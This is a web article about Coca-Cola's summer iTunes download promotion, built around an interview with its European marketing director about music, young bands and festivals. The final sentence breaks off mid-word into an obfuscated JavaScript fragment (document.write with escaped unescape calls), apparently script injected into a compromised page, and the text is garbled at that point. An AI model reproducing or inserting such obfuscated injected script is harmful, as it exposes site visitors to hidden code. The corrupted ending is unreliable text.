Coca-Cola team up with iTunes

Back in the 1970s, Coca-Cola had an ambition, at least according to its TV ads: "I'd like to teach the world to sing, in perfect harmony." It was around this time that Chris Burrgraeve, now European marketing director for the brand, but then just a young Belgian teenager, began buying Coke in glass bottles and twisting off the cap to reveal a liner. Fold it out, and you'd find a picture of bands like Mud and The Rubettes.

"Youngsters used to collect them, exchange them, glue them on big music posters and express their love for music and bands in this way," he recalls. "That was the one I grew up with, but if you take it much earlier, over our 121-year history Coke has had a relationship with singers and musicians for the purpose of creating music for advertising and for festivals and events we organised throughout the world. We'd lost that connection a bit in recent years, and in 2006 we said we wanted to bring that back – but in a contemporary fashion. There's no point going back to the past."
So Coke went to talk to iTunes, and together they cooked up a plan to offer a massive 2 billion free music and video downloads via promotional bottles of Coke, Diet Coke and Coke Zero this summer. But Coke has realised too that it doesn't need to teach the world to sing or make music: it's something we do naturally. What budding artists need is an arena in which they can be heard, and Coke now offers this through their web-site. Here new artists from all over Europe can upload their material and the rest of us can hear it. The artists who prove most popular will then be invited to play at the hundred of gigs and grass-roots festivals Coke is organising along with iTunes in 17 European countries.

"We wanted to create an experience of music," explains Chris, "so we listened very hard to the youngsters and the artists to see what they were struggling with. And then we did something constructive about that. Because what travels better through Italian youth, English youth and Nordic youth? They communicate through music. The music industry is redefining itself, and we wanted to help young artists in their first baby steps towards becoming famous. We now have something like 6500 young bands across Europe on the web-site. We've had bands travel from Finland to festivals in the south, from the UK to festivals in Germany, so it's starting to happen. It's been phenomenal. There's no more limits, no boundaries. There's never been a better chance to follow your music heart. It's no longer a monologue where a band talks to you – now you can be the band yourself. So instead of listening to The Rubettes and Mud, you can be the Rubettes and Mud of the young generation, and change the world yourself. Technology offers great possibilities – so why not embrace it?"

The Coca Cola iTunes on pack promotion runs from May until the end of August promotion Coke and iTunes will give away songs from the iTunes Store (www.itunes.com ) in over 2 billion promotional packs of Coca-Cola, Diet Coke and Cokedocument.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;